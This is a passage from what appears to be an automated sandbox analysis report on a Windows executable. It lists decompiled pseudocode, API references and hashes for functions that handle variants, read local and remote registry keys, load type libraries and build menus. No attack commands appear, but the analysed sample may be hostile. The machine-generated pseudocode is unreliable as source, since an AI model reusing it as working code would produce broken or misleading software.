                                                                                                                                                                            0x00479e56
                                                                                                                                                                            0x00479e57
                                                                                                                                                                            0x00479e58
                                                                                                                                                                            0x00479e68
                                                                                                                                                                            0x00479e68
                                                                                                                                                                            0x00479e49
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00479d63
                                                                                                                                                                            0x00479d56
                                                                                                                                                                            0x00479d4c

                                                                                                                                                                            APIs
                                                                                                                                                                            • _memset.LIBCMT ref: 00479D1F
                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 00479F06
                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 00479F11
                                                                                                                                                                            • VariantInit.OLEAUT32(?), ref: 00479DF7
                                                                                                                                                                              • Part of subcall function 00467626: VariantInit.OLEAUT32(00000000), ref: 00467666
                                                                                                                                                                              • Part of subcall function 00467626: VariantCopy.OLEAUT32(00000000,00479BD3), ref: 00467670
                                                                                                                                                                              • Part of subcall function 00467626: VariantClear.OLEAUT32 ref: 0046767D
                                                                                                                                                                            • VariantClear.OLEAUT32(?), ref: 00479F9C
                                                                                                                                                                              • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                                              • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                                              • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                                              • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Variant$Copy$ClearInit$ErrorLast_memset
                                                                                                                                                                            • String ID: F$Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                                                                                                                                            • API String ID: 665237470-60002521
                                                                                                                                                                            • Opcode ID: 672b070f745711d29ad1395946218a656e5e9b717211adf8defdfd51c1fe5aa9
                                                                                                                                                                            • Instruction ID: 799f1794578ead7d01377608c22e1fb401aa4fc5ffca8a64c02b8280356d09a3
                                                                                                                                                                            • Opcode Fuzzy Hash: 672b070f745711d29ad1395946218a656e5e9b717211adf8defdfd51c1fe5aa9
                                                                                                                                                                            • Instruction Fuzzy Hash: 6091B272204341AFD720DF64D880EABB7E9EFC4314F50891EF28987291D7B9AD45C766
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0046A75F Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 179registryCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 90%
                                                                                                                                                                            			E0046A75F(intOrPtr __ecx, void* __eflags, intOrPtr _a4, int* _a8, short* _a16, char _a20, signed int _a32, int _a36, short* _a40, int _a56, short _a60, intOrPtr _a76) {
				char _v0;
				void* _v4;
				void* _v8;
				void* _v12;
				void* _v16;
				char _v21;
				char _v25;
				intOrPtr* _v52;
				void* _v56;
				void* _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t70;
				long _t77;
				void* _t78;
				long _t79;
				long _t107;
				void* _t114;
				intOrPtr* _t124;
				void* _t156;
				void* _t161;
				signed int _t166;
				void* _t168;
				void* _t170;

				_t170 = __eflags;
				E00425210(0x805c);
				_a4 = __ecx;
				_a8 = 0;
				_a76 = 0x3fff;
				E0040C060( &_a36, _t170);
				E0040C060( &_a20, _t170);
				E0040C060( &_a60, _t170);
				_t115 = _a8;
				E0040E6D0(_a8, _t170);
				_t70 = E00453081( *((intOrPtr*)( *((intOrPtr*)(_a4 + 4)))));
				_t168 = (_t166 & 0xfffffff8) - 0x10;
				E00401B70(_a8, _t70, _t168, _t170);
				E00462DEC( &_a56,  &_a32,  &_a16,  &_a56, _t156, _t161);
				_v60 = _v8;
				_t124 = _v0;
				 *((intOrPtr*)(_t168 - 0x10)) = _v12;
				_v52 = _t124;
				_v56 = _v4;
				 *_t124 =  *_t124 + 1;
				if(E00462BF3( &_v16, _v4, _t170,  &_v16,  &_a20, _t114) != 0) {
					_t77 = E00437BFD( &_a16);
					_v21 = _t77;
					__eflags = _t77;
					if(_t77 != 0) {
						_t78 = _v4;
						L7:
						_t79 = RegOpenKeyExW(_t78, _a40, 0, _a32 | 0x00020019,  &_v8);
						_push(0);
						__eflags = _t79;
						if(_t79 == 0) {
							__eflags = RegEnumValueW(_v8, E0040C760( *((intOrPtr*)( *((intOrPtr*)(_a4 + 4)) + 4))) - 1,  &_a60,  &_a56, 0,  &_a36, 0, ??);
							if(__eflags == 0) {
								E0040E6D0(_t115, __eflags);
								E00404120( *((intOrPtr*)( *_v16 + 4)) + _v16, _a36, 0);
								RegCloseKey(_v16);
								__eflags = _v25;
								if(_v25 != 0) {
									L16:
									E00402620( &_a40);
									E00402620( &_v0);
									E00402620( &_a16);
									return 0;
								}
								RegCloseKey(_v12);
								L15:
								goto L16;
							}
							E004040E0( *((intOrPtr*)( *_v16 + 4)) + _v16, 0xffffffff, 0);
							RegCloseKey(_v16);
							__eflags = _v25;
							if(_v25 != 0) {
								goto L16;
							}
							RegCloseKey(_v12);
							goto L15;
						}
						_push(1);
						E004040E0( *((intOrPtr*)( *_v16 + 4)) + _v16);
						__eflags = _v25;
						if(_v25 == 0) {
							RegCloseKey(_v12);
						}
						goto L16;
					}
					_t107 = RegConnectRegistryW(_a16, _v4,  &_v12);
					__eflags = _t107;
					if(_t107 == 0) {
						_t78 = _v12;
						goto L7;
					}
					E004040E0( *((intOrPtr*)( *_v16 + 4)) + _v16, 3, 0);
					goto L16;
				}
				E004040E0( *((intOrPtr*)( *_v16 + 4)) + _v16, 2, 0);
				goto L16;
			}





























                                                                                                                                                                            0x0046a75f
                                                                                                                                                                            0x0046a76a
                                                                                                                                                                            0x0046a771
                                                                                                                                                                            0x0046a77a
                                                                                                                                                                            0x0046a782
                                                                                                                                                                            0x0046a78a
                                                                                                                                                                            0x0046a793
                                                                                                                                                                            0x0046a79c
                                                                                                                                                                            0x0046a7a1
                                                                                                                                                                            0x0046a7a9
                                                                                                                                                                            0x0046a7b7
                                                                                                                                                                            0x0046a7bc
                                                                                                                                                                            0x0046a7c3
                                                                                                                                                                            0x0046a7d7
                                                                                                                                                                            0x0046a7e7
                                                                                                                                                                            0x0046a7eb
                                                                                                                                                                            0x0046a7ef
                                                                                                                                                                            0x0046a7f6
                                                                                                                                                                            0x0046a7fa
                                                                                                                                                                            0x0046a7fe
                                                                                                                                                                            0x0046a811
                                                                                                                                                                            0x0046a831
                                                                                                                                                                            0x0046a836
                                                                                                                                                                            0x0046a83a
                                                                                                                                                                            0x0046a83c
                                                                                                                                                                            0x0046a876
                                                                                                                                                                            0x0046a87a
                                                                                                                                                                            0x0046a892
                                                                                                                                                                            0x0046a898
                                                                                                                                                                            0x0046a89a
                                                                                                                                                                            0x0046a89c
                                                                                                                                                                            0x0046a8f9
                                                                                                                                                                            0x0046a8fb
                                                                                                                                                                            0x0046a930
                                                                                                                                                                            0x0046a947
                                                                                                                                                                            0x0046a957
                                                                                                                                                                            0x0046a959
                                                                                                                                                                            0x0046a95e
                                                                                                                                                                            0x0046a967
                                                                                                                                                                            0x0046a96b
                                                                                                                                                                            0x0046a974
                                                                                                                                                                            0x0046a97d
                                                                                                                                                                            0x0046a98a
                                                                                                                                                                            0x0046a98a
                                                                                                                                                                            0x0046a965
                                                                                                                                                                            0x0046a965
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046a965
                                                                                                                                                                            0x0046a90c
                                                                                                                                                                            0x0046a91c
                                                                                                                                                                            0x0046a91e
                                                                                                                                                                            0x0046a923
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046a965
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046a965
                                                                                                                                                                            0x0046a8a7
                                                                                                                                                                            0x0046a8ab
                                                                                                                                                                            0x0046a8b0
                                                                                                                                                                            0x0046a8b5
                                                                                                                                                                            0x0046a8c0
                                                                                                                                                                            0x0046a8c0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046a8b5
                                                                                                                                                                            0x0046a84d
                                                                                                                                                                            0x0046a853
                                                                                                                                                                            0x0046a855
                                                                                                                                                                            0x0046a870
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046a870
                                                                                                                                                                            0x0046a866
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046a866
                                                                                                                                                                            0x0046a822
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                            • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046A84D
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ConnectRegistry_wcslen
                                                                                                                                                                            • String ID: HH
                                                                                                                                                                            • API String ID: 535477410-2761332787
                                                                                                                                                                            • Opcode ID: 3d2267bef85c0a3262a999e8db8e299d7bc7e68382ab05334579f55c94cd24bc
                                                                                                                                                                            • Instruction ID: 68d8ff7817732ac0dd8275009c421e29eb5870de2046e22f9b94a35ba54c9d9f
                                                                                                                                                                            • Opcode Fuzzy Hash: 3d2267bef85c0a3262a999e8db8e299d7bc7e68382ab05334579f55c94cd24bc
                                                                                                                                                                            • Instruction Fuzzy Hash: FE617FB56083009FD304EF65C981F6BB7E4AF88704F14891EF681A7291D678ED09CB97
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004582BF Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 165registryCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 46%
                                                                                                                                                                            			E004582BF(void* __edx, void* __eflags, long long __fp0, intOrPtr _a4) {
				intOrPtr _v32;
				char _v536;
				char _v544;
				char _v552;
				char _v556;
				char _v560;
				char _v564;
				char _v568;
				short* _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				long long _v584;
				void* _v588;
				void* _v592;
				int _v596;
				signed int _v600;
				int _v604;
				signed int _v606;
				intOrPtr* _v612;
				intOrPtr* _v624;
				long long _v640;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short* _t67;
				signed int _t73;
				short* _t75;
				intOrPtr* _t87;
				intOrPtr* _t90;
				signed int _t93;
				void* _t95;
				intOrPtr _t96;
				void* _t108;
				void* _t122;
				short* _t123;
				void* _t124;
				intOrPtr _t125;
				void** _t127;
				void** _t128;
				long long _t139;

				_t139 = __fp0;
				_t108 = __edx;
				_t125 = _a4;
				E0040C060( &_v556, __eflags);
				asm("fld1");
				_v564 = __fp0;
				_t123 =  *0x48281c(_t125,  &_v568);
				_t132 = _t123;
				if(_t123 < 0) {
					L9:
					E00402620( &_v564);
					return _t123;
				}
				_t124 = E0040FFF0(_t95, _v576, _t132);
				E004021E0( &_v564, _t95, _t108, L"interface\\");
				E0040D330( &_v568, _t95, _t124, __fp0);
				E0040D330( &_v568, _t95, L"\\TypeLib", __fp0);
				E004137D3(_t95, _t108, L"\\TypeLib", _t124, _t132);
				_t127 =  &(( &_v588)[1]);
				 *0x48280c(_v580, _t124);
				_t67 = RegOpenKeyExW(0x80000000, _v572, 0, 0x20019,  &_v592);
				_t123 = _t67;
				if(_t123 != 0) {
					goto L9;
				}
				_t96 =  *0x48203c;
				_v596 = 0x1fe;
				_t123 = RegQueryValueExW(_v588, _t67, _t67, _t67,  &_v536,  &_v596);
				_t134 = _t123;
				if(_t123 == 0) {
					_t73 = _v596 >> 1;
					_v596 = _t73;
					 *((short*)(_t127 + 0x50 + _t73 * 2)) = 0;
					_t122 = E0040FFF0(_t96,  &_v536, _t134);
					_t75 =  *0x482810(_t122,  &_v552);
					_push(_t122);
					_t123 = _t75;
					E004137D3(_t96,  &_v552, _t122, _t123, _t134);
					_t128 =  &(_t127[1]);
					if(_t123 >= 0) {
						_v604 = 0x1fe;
						if(RegQueryValueExW(_v596, L"Version", 0, 0,  &_v544,  &_v604) == 0) {
							_t93 = _v604 >> 1;
							_v604 = _t93;
							 *((short*)(_t128 + 0x54 + _t93 * 2)) = 0;
							E00413F97( &_v544);
							_v584 = __fp0;
							_t128 =  &(_t128[1]);
						}
						asm("fld1");
						_v640 = _t139;
						 *((long long*)(_t128 - 0x10)) = _v584;
						E00415A50();
						asm("fnstcw word [esp+0x2a]");
						_v600 = _v606 & 0x0000ffff | 0x00000c00;
						asm("fldcw word [esp+0x20]");
						asm("fistp dword [esp+0x20]");
						asm("fldcw word [esp+0x1e]");
						asm("fnstcw word [esp+0x1e]");
						_v600 = _v606 & 0x0000ffff | 0x00000c00;
						asm("fldcw word [esp+0x24]");
						asm("fistp dword [esp+0x24]");
						asm("fldcw word [esp+0x22]");
						_t123 =  *0x48243c( &_v560, _v600 & 0x0000ffff, _v600 & 0x0000ffff, 0,  &_v592);
						if(_t123 >= 0) {
							_t87 = _v612;
							_t123 =  *((intOrPtr*)( *((intOrPtr*)( *_t87 + 0x18))))(_t87, _t125, _v32);
							_t90 = _v624;
							 *((intOrPtr*)( *((intOrPtr*)( *_t90 + 8))))(_t90);
						}
					}
				}
				RegCloseKey(_v588);
				goto L9;
			}












































                                                                                                                                                                            0x004582bf
                                                                                                                                                                            0x004582bf
                                                                                                                                                                            0x004582c7
                                                                                                                                                                            0x004582d4
                                                                                                                                                                            0x004582d9
                                                                                                                                                                            0x004582df
                                                                                                                                                                            0x004582eb
                                                                                                                                                                            0x004582ed
                                                                                                                                                                            0x004582ef
                                                                                                                                                                            0x004584c0
                                                                                                                                                                            0x004584c4
                                                                                                                                                                            0x004584d5
                                                                                                                                                                            0x004584d5
                                                                                                                                                                            0x004582fe
                                                                                                                                                                            0x00458309
                                                                                                                                                                            0x00458314
                                                                                                                                                                            0x00458322
                                                                                                                                                                            0x00458328
                                                                                                                                                                            0x00458331
                                                                                                                                                                            0x00458335
                                                                                                                                                                            0x00458351
                                                                                                                                                                            0x00458357
                                                                                                                                                                            0x0045835b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00458361
                                                                                                                                                                            0x00458379
                                                                                                                                                                            0x00458383
                                                                                                                                                                            0x00458385
                                                                                                                                                                            0x00458387
                                                                                                                                                                            0x00458391
                                                                                                                                                                            0x00458399
                                                                                                                                                                            0x0045839d
                                                                                                                                                                            0x004583ab
                                                                                                                                                                            0x004583af
                                                                                                                                                                            0x004583b5
                                                                                                                                                                            0x004583b6
                                                                                                                                                                            0x004583b8
                                                                                                                                                                            0x004583bd
                                                                                                                                                                            0x004583c2
                                                                                                                                                                            0x004583e0
                                                                                                                                                                            0x004583ec
                                                                                                                                                                            0x004583f2
                                                                                                                                                                            0x004583fb
                                                                                                                                                                            0x004583ff
                                                                                                                                                                            0x00458404
                                                                                                                                                                            0x00458409
                                                                                                                                                                            0x0045840d
                                                                                                                                                                            0x0045840d
                                                                                                                                                                            0x00458410
                                                                                                                                                                            0x0045841c
                                                                                                                                                                            0x00458424
                                                                                                                                                                            0x00458427
                                                                                                                                                                            0x0045842c
                                                                                                                                                                            0x0045843d
                                                                                                                                                                            0x00458441
                                                                                                                                                                            0x00458445
                                                                                                                                                                            0x00458452
                                                                                                                                                                            0x0045845e
                                                                                                                                                                            0x0045846c
                                                                                                                                                                            0x00458470
                                                                                                                                                                            0x00458474
                                                                                                                                                                            0x00458481
                                                                                                                                                                            0x0045848c
                                                                                                                                                                            0x00458490
                                                                                                                                                                            0x00458499
                                                                                                                                                                            0x004584a7
                                                                                                                                                                            0x004584a9
                                                                                                                                                                            0x004584b3
                                                                                                                                                                            0x004584b3
                                                                                                                                                                            0x00458490
                                                                                                                                                                            0x004583c2
                                                                                                                                                                            0x004584ba
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                              • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                              • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                            • RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 00458351
                                                                                                                                                                            • RegQueryValueExW.ADVAPI32 ref: 00458381
                                                                                                                                                                            • RegQueryValueExW.ADVAPI32 ref: 004583E8
                                                                                                                                                                            • LoadRegTypeLib.OLEAUT32(?,?), ref: 00458486
                                                                                                                                                                              • Part of subcall function 00413F97: __wtof_l.LIBCMT ref: 00413FA1
                                                                                                                                                                            • RegCloseKey.ADVAPI32(?), ref: 004584BA
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: QueryValue_wcslen$CloseLoadOpenType__wtof_l_wcscpy
                                                                                                                                                                            • String ID: Version$\TypeLib$interface\
                                                                                                                                                                            • API String ID: 3205402289-939221531
                                                                                                                                                                            • Opcode ID: 7852234c5105a81b7c23e8532f1b62eaf04b9cd23b6536a13193c97c4d582f2b
                                                                                                                                                                            • Instruction ID: 79b7cd5abce1e27c05c99aa42fc57472f96028fce63c5dd006e808227a6af2ff
                                                                                                                                                                            • Opcode Fuzzy Hash: 7852234c5105a81b7c23e8532f1b62eaf04b9cd23b6536a13193c97c4d582f2b
                                                                                                                                                                            • Instruction Fuzzy Hash: DB513B715083059BD310EF55D944A6FB3E8FFC8B08F004A2DF985A7251EA78DD09CB9A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0045F2C5 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 146windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E0045F2C5() {
				void* __ebx;
				void* __edi;
				int _t47;
				struct HMENU__* _t50;
				int _t51;
				short _t55;
				struct HMENU__* _t61;
				int _t62;
				int _t63;
				struct HMENU__* _t65;
				intOrPtr _t66;
				int _t68;
				short* _t70;
				int _t73;
				signed int _t80;
				struct HMENU__** _t81;
				struct HMENU__** _t82;
				void* _t83;
				void* _t84;

				_t66 =  *((intOrPtr*)(_t83 + 0x48));
				_t82 =  *(_t83 + 0x40);
				if(_t66 == 0xffffffff || _t66 >= 7 && _t66 < 0x207) {
					_t80 = E0044C2CA(_t66, _t82);
					if(_t80 == 0xffffffff) {
						goto L29;
					} else {
						_t81 =  *(_t82 + 0x1a4 + _t80 * 4);
						 *((intOrPtr*)(_t83 + 0x1c)) = 0x30;
						E004131F0(_t80, _t83 + 0x18, 0, 0x2c);
						_t84 = _t83 + 0xc;
						if(_t66 != 0xffffffff) {
							 *((intOrPtr*)(_t84 + 0x60)) = 0xffffffff;
							_t47 = E00437314(_t82, _t66, _t84 + 0x54);
							__eflags = _t47;
							if(_t47 == 0) {
								L28:
								E004447AB(_t82, _t80);
								goto L29;
							} else {
								_t68 =  *(_t84 + 0x54);
								 *(_t84 + 0x18) = 4;
								_t50 =  *( *(_t82 + 0x1a4 + _t68 * 4));
								 *_t81 = _t50;
								_t51 = GetMenuItemInfoW(_t50, _t68, 0, _t84 + 0x10);
								__eflags = _t51;
								if(_t51 == 0) {
									goto L28;
								} else {
									 *_t81 =  *(_t84 + 0x24);
									__eflags = IsMenu( *(_t84 + 0x24));
									if(__eflags == 0) {
										goto L28;
									} else {
										goto L9;
									}
								}
							}
						} else {
							 *_t81 =  *_t82;
							L9:
							_t55 =  *((short*)(_t84 + 0x4c));
							_t70 =  *((intOrPtr*)(_t84 + 0x50));
							_t81[1] = 0;
							 *(_t84 + 0x14) = 0x32;
							 *(_t84 + 0x18) = 0;
							 *((intOrPtr*)(_t84 + 0x34)) = _t70;
							 *(_t84 + 0x30) = _t80;
							 *(_t84 + 0x20) = _t80;
							if(_t55 == 0) {
								__eflags =  *_t70;
								if( *_t70 != 0) {
									__eflags =  *((intOrPtr*)(_t84 + 0x5c)) - 1;
									if( *((intOrPtr*)(_t84 + 0x5c)) == 1) {
										 *(_t84 + 0x18) = 0x200;
										_t81[1] = 1;
									}
								} else {
									 *(_t84 + 0x18) = 0x800;
								}
								_t81[1] = 0;
								goto L19;
							} else {
								if(_t55 != 1) {
									L19:
									__eflags = _t82[1];
									if(_t82[1] != 0) {
										__eflags = _t82[2];
										if(_t82[2] != 0) {
											__eflags = _t80 - 7;
											if(_t80 >= 7) {
												_t61 =  *_t82;
												__eflags =  *_t81 - _t61;
												if( *_t81 == _t61) {
													_t62 = GetMenuItemCount(_t61);
													_t73 =  *(_t84 + 0x58);
													__eflags = _t73 - 0xffffffff;
													if(_t73 == 0xffffffff) {
														L25:
														_t63 = _t62 + 0xfffffffc;
														__eflags = _t63;
														 *(_t84 + 0x58) = _t63;
													} else {
														_t38 = _t62 - 4; // -4
														__eflags = _t73 + 1 - _t38;
														if(_t73 + 1 > _t38) {
															goto L25;
														}
													}
												}
											}
										}
									}
									__eflags = InsertMenuItemW( *_t81,  *(_t84 + 0x58), 1, _t84 + 0x10);
									if(__eflags == 0) {
										goto L12;
									} else {
										_t82[0x271] = _t80;
										return _t80;
									}
								} else {
									_t65 = CreatePopupMenu();
									_t92 = _t65;
									if(_t65 != 0) {
										 *(_t84 + 0x14) =  *(_t84 + 0x14) | 0x00000004;
										 *(_t84 + 0x24) = _t65;
										_t81[1] = 1;
										goto L19;
									} else {
										L12:
										E0045F132(_t82, _t92, _t80);
										return 0;
									}
								}
							}
						}
					}
				} else {
					L29:
					__eflags = 0;
					return 0;
				}
			}






















                                                                                                                                                                            0x0045f2c9
                                                                                                                                                                            0x0045f2ce
                                                                                                                                                                            0x0045f2d7
                                                                                                                                                                            0x0045f2f4
                                                                                                                                                                            0x0045f2f9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f2ff
                                                                                                                                                                            0x0045f2ff
                                                                                                                                                                            0x0045f30f
                                                                                                                                                                            0x0045f317
                                                                                                                                                                            0x0045f31c
                                                                                                                                                                            0x0045f322
                                                                                                                                                                            0x0045f332
                                                                                                                                                                            0x0045f33a
                                                                                                                                                                            0x0045f33f
                                                                                                                                                                            0x0045f341
                                                                                                                                                                            0x0045f47b
                                                                                                                                                                            0x0045f47d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f347
                                                                                                                                                                            0x0045f347
                                                                                                                                                                            0x0045f350
                                                                                                                                                                            0x0045f35f
                                                                                                                                                                            0x0045f365
                                                                                                                                                                            0x0045f367
                                                                                                                                                                            0x0045f36d
                                                                                                                                                                            0x0045f36f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f375
                                                                                                                                                                            0x0045f379
                                                                                                                                                                            0x0045f386
                                                                                                                                                                            0x0045f388
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f388
                                                                                                                                                                            0x0045f36f
                                                                                                                                                                            0x0045f324
                                                                                                                                                                            0x0045f327
                                                                                                                                                                            0x0045f38e
                                                                                                                                                                            0x0045f393
                                                                                                                                                                            0x0045f396
                                                                                                                                                                            0x0045f39a
                                                                                                                                                                            0x0045f39e
                                                                                                                                                                            0x0045f3a6
                                                                                                                                                                            0x0045f3ae
                                                                                                                                                                            0x0045f3b2
                                                                                                                                                                            0x0045f3b6
                                                                                                                                                                            0x0045f3bf
                                                                                                                                                                            0x0045f3f1
                                                                                                                                                                            0x0045f3f5
                                                                                                                                                                            0x0045f401
                                                                                                                                                                            0x0045f405
                                                                                                                                                                            0x0045f407
                                                                                                                                                                            0x0045f40f
                                                                                                                                                                            0x0045f40f
                                                                                                                                                                            0x0045f3f7
                                                                                                                                                                            0x0045f3f7
                                                                                                                                                                            0x0045f3f7
                                                                                                                                                                            0x0045f412
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f3c1
                                                                                                                                                                            0x0045f3c3
                                                                                                                                                                            0x0045f416
                                                                                                                                                                            0x0045f416
                                                                                                                                                                            0x0045f41a
                                                                                                                                                                            0x0045f41c
                                                                                                                                                                            0x0045f420
                                                                                                                                                                            0x0045f422
                                                                                                                                                                            0x0045f425
                                                                                                                                                                            0x0045f427
                                                                                                                                                                            0x0045f42a
                                                                                                                                                                            0x0045f42c
                                                                                                                                                                            0x0045f42f
                                                                                                                                                                            0x0045f435
                                                                                                                                                                            0x0045f439
                                                                                                                                                                            0x0045f43c
                                                                                                                                                                            0x0045f446
                                                                                                                                                                            0x0045f446
                                                                                                                                                                            0x0045f446
                                                                                                                                                                            0x0045f449
                                                                                                                                                                            0x0045f43e
                                                                                                                                                                            0x0045f43e
                                                                                                                                                                            0x0045f442
                                                                                                                                                                            0x0045f444
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f444
                                                                                                                                                                            0x0045f43c
                                                                                                                                                                            0x0045f42c
                                                                                                                                                                            0x0045f425
                                                                                                                                                                            0x0045f420
                                                                                                                                                                            0x0045f461
                                                                                                                                                                            0x0045f463
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f469
                                                                                                                                                                            0x0045f469
                                                                                                                                                                            0x0045f478
                                                                                                                                                                            0x0045f478
                                                                                                                                                                            0x0045f3c5
                                                                                                                                                                            0x0045f3c5
                                                                                                                                                                            0x0045f3cb
                                                                                                                                                                            0x0045f3cd
                                                                                                                                                                            0x0045f3e3
                                                                                                                                                                            0x0045f3e8
                                                                                                                                                                            0x0045f3ec
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f3cf
                                                                                                                                                                            0x0045f3cf
                                                                                                                                                                            0x0045f3d2
                                                                                                                                                                            0x0045f3e0
                                                                                                                                                                            0x0045f3e0
                                                                                                                                                                            0x0045f3cd
                                                                                                                                                                            0x0045f3c3
                                                                                                                                                                            0x0045f3bf
                                                                                                                                                                            0x0045f322
                                                                                                                                                                            0x0045f485
                                                                                                                                                                            0x0045f485
                                                                                                                                                                            0x0045f485
                                                                                                                                                                            0x0045f48b
                                                                                                                                                                            0x0045f48b

